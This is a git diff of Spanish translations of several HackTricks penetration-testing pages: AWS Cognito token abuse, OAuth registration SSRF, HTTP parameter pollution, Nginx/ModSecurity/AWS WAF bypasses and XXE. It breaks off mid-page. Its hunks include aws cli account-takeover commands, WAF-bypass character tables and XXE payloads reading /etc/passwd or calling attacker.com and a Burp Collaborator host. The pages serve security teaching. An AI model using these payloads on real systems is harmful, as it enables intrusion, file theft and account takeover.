En este informe de recompensa por errores: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puedes ver que el **token** que **AWS Cognito** devuelve al usuario podría tener **suficientes permisos para sobrescribir los datos del usuario**. Por lo tanto, si puedes **cambiar el correo electrónico del usuario por un correo electrónico de otro usuario**, podrías **tomar el control** de otras cuentas.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -162,6 +162,10 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
]
|
||||
}
|
||||
```
|
||||
Para obtener información más detallada sobre cómo abusar de AWS Cognito, consulta:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### Abusando de tokens de otras aplicaciones <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Como se menciona en [**este artículo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), los flujos de OAuth que esperan recibir el **token** (y no un código) podrían ser vulnerables si no verifican que el token pertenezca a la aplicación.
|
||||
|
@ -192,12 +196,12 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
|
|||
- **`logo_uri`**: Una URL para el logotipo de la aplicación cliente que podría ser recuperado por el servidor, desencadenando SSRF o llevando a XSS si la URL se maneja incorrectamente.
|
||||
- **`jwks_uri`**: Una URL al documento JWK del cliente, que si se crea maliciosamente, puede hacer que el servidor realice solicitudes salientes a un servidor controlado por el atacante.
|
||||
- **`sector_identifier_uri`**: Hace referencia a una matriz JSON de `redirect_uris`, que el servidor podría recuperar, creando una oportunidad de SSRF.
|
||||
- **`request_uris`**: Enumera los URIs de solicitud permitidos para el cliente, que pueden ser explotados si el servidor recupera estos URIs al inicio del proceso de autorización.
|
||||
- **`request_uris`**: Enumera URIs de solicitud permitidos para el cliente, que pueden ser explotados si el servidor recupera estos URIs al inicio del proceso de autorización.
|
||||
|
||||
**Estrategia de Explotación:**
|
||||
|
||||
- Se puede desencadenar SSRF registrando un nuevo cliente con URLs maliciosas en parámetros como `logo_uri`, `jwks_uri` o `sector_identifier_uri`.
|
||||
- Mientras que la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, suministrar un `request_uri` preregistrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
|
||||
- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, suministrar un `request_uri` preregistrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
|
||||
|
||||
## Condiciones de Carrera en proveedores de OAuth
|
||||
|
||||
|
@ -209,7 +213,7 @@ Si la plataforma que estás probando es un proveedor de OAuth, [**lee esto para
|
|||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -219,7 +223,7 @@ Si la plataforma que estás probando es un proveedor de OAuth, [**lee esto para
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Visión General de la Contaminación de Parámetros HTTP (HPP)
|
||||
|
||||
La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan los parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no deseadas. Esta manipulación se realiza añadiendo, modificando o duplicando los parámetros HTTP. El efecto de estas manipulaciones no es visible directamente para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
|
||||
La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan los parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no deseadas. Esta manipulación se realiza añadiendo, modificando o duplicando los parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
|
||||
|
||||
## Ejemplo de Contaminación de Parámetros HTTP (HPP)
|
||||
|
||||
|
@ -35,7 +35,7 @@ Al insertar un parámetro `from` adicional:
|
|||
|
||||
La transacción puede ser incorrectamente cargada a `accountC` en lugar de `accountA`, mostrando el potencial de HPP para manipular transacciones u otras funcionalidades como restablecimientos de contraseña, configuraciones de 2FA o solicitudes de clave API.
|
||||
|
||||
### Análisis de Parámetros Específicos de Tecnología
|
||||
### **Análisis de Parámetros Específicos de Tecnología**
|
||||
|
||||
- La forma en que se analizan y priorizan los parámetros depende de la tecnología web subyacente, lo que afecta cómo se puede explotar HPP.
|
||||
- Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) ayudan a identificar estas tecnologías y sus comportamientos de análisis.
|
||||
|
@ -46,7 +46,7 @@ La transacción puede ser incorrectamente cargada a `accountC` en lugar de `acco
|
|||
|
||||
- **Contexto:** Se explotó un mecanismo de inicio de sesión que requería un One-Time Password (OTP).
|
||||
- **Método:** Al interceptar la solicitud de OTP utilizando herramientas como Burp Suite, los atacantes duplicaron el parámetro `email` en la solicitud HTTP.
|
||||
- **Resultado:** El OTP, destinado al correo electrónico inicial, en lugar se envió a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Esta falla permitió el acceso no autorizado al eludir la medida de seguridad prevista.
|
||||
- **Resultado:** El OTP, destinado al correo electrónico inicial, en su lugar se envió a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Esta falla permitió el acceso no autorizado al eludir la medida de seguridad prevista.
|
||||
|
||||
Este escenario destaca una supervisión crítica en el backend de la aplicación, que procesó el primer parámetro `email` para la generación de OTP pero utilizó el último para la entrega.
|
||||
|
||||
|
@ -61,7 +61,7 @@ Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros,
|
|||
|
||||
## Análisis de Parámetros: Flask vs. PHP
|
||||
|
||||
La forma en que las tecnologías web manejan los parámetros HTTP duplicados varía, afectando su susceptibilidad a ataques de HPP:
|
||||
La forma en que las tecnologías web manejan los parámetros HTTP duplicados varía, afectando su susceptibilidad a los ataques de HPP:
|
||||
|
||||
- **Flask:** Adopta el valor del primer parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
|
||||
- **PHP (en el Servidor HTTP Apache):** Contrariamente, prioriza el valor del último parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente las explotaciones de HPP al honrar el parámetro manipulado del atacante sobre el original.
|
||||
|
@ -70,20 +70,20 @@ La forma en que las tecnologías web manejan los parámetros HTTP duplicados var
|
|||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -6,19 +6,19 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Bypass de Reglas de ACL de Nginx con Manipulación de Nombres de Ruta <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
## Bypass de Reglas de ACL de Nginx con Manipulación de Rutas <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Técnicas [de esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
|
@ -32,21 +32,21 @@ location = /admin/ {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
En orden de prevenir los bypasses, Nginx realiza una normalización de ruta antes de verificarla. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que Nginx no elimina), podría ser posible evadir esta defensa.
|
||||
En orden de prevenir los bypasses Nginx realiza una normalización de ruta antes de verificarla. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que Nginx no elimina) podría ser posible evadir esta defensa.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Evitación de Node.js** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| Versión Nginx | **Caracteres de Bypass en Node.js** |
|
||||
| ------------- | ---------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Evitación de Flask** |
|
||||
| Versión Nginx | **Caracteres de Bypass en Flask** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
|
@ -56,7 +56,7 @@ En orden de prevenir los bypasses, Nginx realiza una normalización de ruta ante
|
|||
|
||||
### **Spring Boot**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Evitación de Spring Boot** |
|
||||
| Versión Nginx | **Caracteres de Bypass en Spring Boot** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
|
@ -89,18 +89,18 @@ deny all;
|
|||
|
||||
### Confusión de Ruta
|
||||
|
||||
[**En esta publicación**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) se explica que ModSecurity v3 (hasta la versión 3.0.12), **implementó incorrectamente la variable `REQUEST_FILENAME`** que se suponía que contenía la ruta de acceso (hasta el inicio de los parámetros). Esto se debió a que realizaba un descodificación de URL para obtener la ruta.\
|
||||
Por lo tanto, una solicitud como `http://example.com/foo%3f';alert(1);foo=` en ModSecurity supondrá que la ruta es solo `/foo` porque `%3f` se transforma en `?` finalizando la ruta URL, pero en realidad la ruta que recibirá el servidor será `/foo%3f';alert(1);foo=`.
|
||||
[**En esta publicación**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) se explica que ModSecurity v3 (hasta la versión 3.0.12), **implementó de manera incorrecta la variable `REQUEST_FILENAME`** que se suponía que contenía la ruta de acceso (hasta el inicio de los parámetros). Esto se debió a que realizaba un descodificación de URL para obtener la ruta.\
|
||||
Por lo tanto, una solicitud como `http://example.com/foo%3f';alert(1);foo=` en ModSecurity supondrá que la ruta es solo `/foo` porque `%3f` se transforma en `?` finalizando la ruta de URL, pero en realidad la ruta que recibirá el servidor será `/foo%3f';alert(1);foo=`.
|
||||
|
||||
Las variables `REQUEST_BASENAME` y `PATH_INFO` también se vieron afectadas por este error.
|
||||
|
||||
Algo similar ocurrió en la versión 2 de Mod Security que permitía saltar una protección que impedía que el usuario accediera a archivos con extensiones específicas relacionadas con archivos de respaldo (como `.bak`) simplemente enviando el punto codificado en URL en `%2e`, por ejemplo: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Saltar ACL de AWS WAF <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Saltar AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Encabezado Malformado
|
||||
|
||||
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible saltar las reglas de AWS WAF aplicadas sobre los encabezados HTTP enviando un encabezado "malformado" que no era interpretado correctamente por AWS pero sí por el servidor backend.
|
||||
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible saltar las reglas de AWS WAF aplicadas sobre los encabezados HTTP enviando un encabezado "malformado" que no era analizado correctamente por AWS pero sí por el servidor backend.
|
||||
|
||||
Por ejemplo, enviando la siguiente solicitud con una inyección SQL en el encabezado X-Query:
|
||||
```http
|
||||
|
@ -119,17 +119,17 @@ Fue posible evadir AWS WAF porque no entendía que la siguiente línea formaba p
|
|||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# XXE - XEE - XML External Entity
|
||||
# XXE - XEE - Entidad Externa XML
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,26 +7,26 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Conceptos básicos de XML
|
||||
## Conceptos Básicos de XML
|
||||
|
||||
XML es un lenguaje de marcado diseñado para el almacenamiento y transporte de datos, con una estructura flexible que permite el uso de etiquetas con nombres descriptivos. Se diferencia de HTML al no estar limitado a un conjunto de etiquetas predefinidas. La importancia de XML ha disminuido con el auge de JSON, a pesar de su papel inicial en la tecnología AJAX.
|
||||
|
||||
* **Representación de datos a través de Entidades**: Las entidades en XML permiten la representación de datos, incluyendo caracteres especiales como `<` y `>`, que corresponden a `<` y `>` para evitar conflictos con el sistema de etiquetas de XML.
|
||||
* **Representación de Datos a través de Entidades**: Las entidades en XML permiten la representación de datos, incluyendo caracteres especiales como `<` y `>`, que corresponden a `<` y `>` para evitar conflictos con el sistema de etiquetas de XML.
|
||||
* **Definición de Elementos XML**: XML permite la definición de tipos de elementos, describiendo cómo deben estructurarse los elementos y qué contenido pueden contener, desde cualquier tipo de contenido hasta elementos secundarios específicos.
|
||||
* **Definición del Tipo de Documento (DTD)**: Las DTD son cruciales en XML para definir la estructura del documento y los tipos de datos que puede contener. Pueden ser internas, externas o una combinación, guiando cómo se formatean y validan los documentos.
|
||||
* **Entidades Personalizadas y Externas**: XML admite la creación de entidades personalizadas dentro de una DTD para una representación flexible de datos. Las entidades externas, definidas con una URL, plantean preocupaciones de seguridad, especialmente en el contexto de ataques de Entidad Externa XML (XXE), que explotan la forma en que los analizadores XML manejan fuentes de datos externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
* **Detección de XXE con Entidades de Parámetros**: Para detectar vulnerabilidades de XXE, especialmente cuando los métodos convencionales fallan debido a medidas de seguridad del analizador, se pueden utilizar entidades de parámetros XML. Estas entidades permiten técnicas de detección fuera de banda, como desencadenar búsquedas DNS o solicitudes HTTP a un dominio controlado, para confirmar la vulnerabilidad.
|
||||
* **Detección de XXE con Entidades de Parámetro**: Para detectar vulnerabilidades de XXE, especialmente cuando los métodos convencionales fallan debido a medidas de seguridad del analizador, se pueden utilizar entidades de parámetro XML. Estas entidades permiten técnicas de detección fuera de banda, como desencadenar búsquedas de DNS o solicitudes HTTP a un dominio controlado, para confirmar la vulnerabilidad.
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
|
@ -45,8 +45,6 @@ En este ataque voy a probar si una simple declaración de NUEVA ENTIDAD está fu
|
|||
<storeId>1</storeId>
|
||||
</stockCheck>
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Leer archivo
|
||||
|
||||
Intentemos leer `/etc/passwd` de diferentes maneras. Para Windows, podrías intentar leer: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
@ -57,13 +55,15 @@ En este primer caso, ten en cuenta que SYSTEM "_\*\*file:///\*\*etc/passwd_" tam
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
.png>)
|
||||
|
||||
Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswiggers)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
En este tercer caso, notamos que estamos declarando el `Elemento stockCheck` como ANY.
|
||||
En este tercer caso notamos que estamos declarando el `Elemento stockCheck` como ANY.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
|
@ -97,17 +97,17 @@ Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube
|
|||
```
|
||||
### SSRF a ciegas
|
||||
|
||||
Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para mostrar su vulnerabilidad. Pero, si eso no funciona, tal vez sea porque **las entidades XML no están permitidas**, en ese caso podrías intentar usar **entidades de parámetros XML**:
|
||||
Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para mostrar que es vulnerable. Pero, si eso no funciona, tal vez sea porque **las entidades XML no están permitidas**, en ese caso podrías intentar usar **entidades de parámetros XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Ciego" SSRF - Exfiltrar datos fuera de banda
|
||||
### SSRF "ciego" - Exfiltrar datos fuera de banda
|
||||
|
||||
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con un payload malicioso que enviará el contenido de un archivo a través de una solicitud HTTP (**para **archivos de varias líneas podrías intentar exfiltrarlo a través de** _**ftp://**_ utilizando este servidor básico, por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en el laboratorio de** [**Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con un payload malicioso que enviará el contenido de un archivo a través de una solicitud HTTP (**para **archivos de varias líneas podrías intentar exfiltrarlo a través de** _**ftp://**_ utilizando este servidor básico, por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en el** [**laboratorio de Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
En el DTD malicioso proporcionado, se realizan una serie de pasos para exfiltrar datos:
|
||||
En el DTD malicioso proporcionado, se llevan a cabo una serie de pasos para exfiltrar datos:
|
||||
|
||||
### Ejemplo de DTD Malicioso:
|
||||
|
||||
|
@ -162,9 +162,9 @@ _**Por favor, ten en cuenta que la DTD externa nos permite incluir una entidad d
|
|||
|
||||
### **Basado en Errores (DTD del sistema)**
|
||||
|
||||
Entonces, ¿qué pasa con las vulnerabilidades ciegas de XXE cuando las **interacciones fuera de banda están bloqueadas** (las conexiones externas no están disponibles)?.
|
||||
Entonces, ¿qué pasa con las vulnerabilidades ciegas de XXE cuando **las interacciones fuera de banda están bloqueadas** (las conexiones externas no están disponibles)?.
|
||||
|
||||
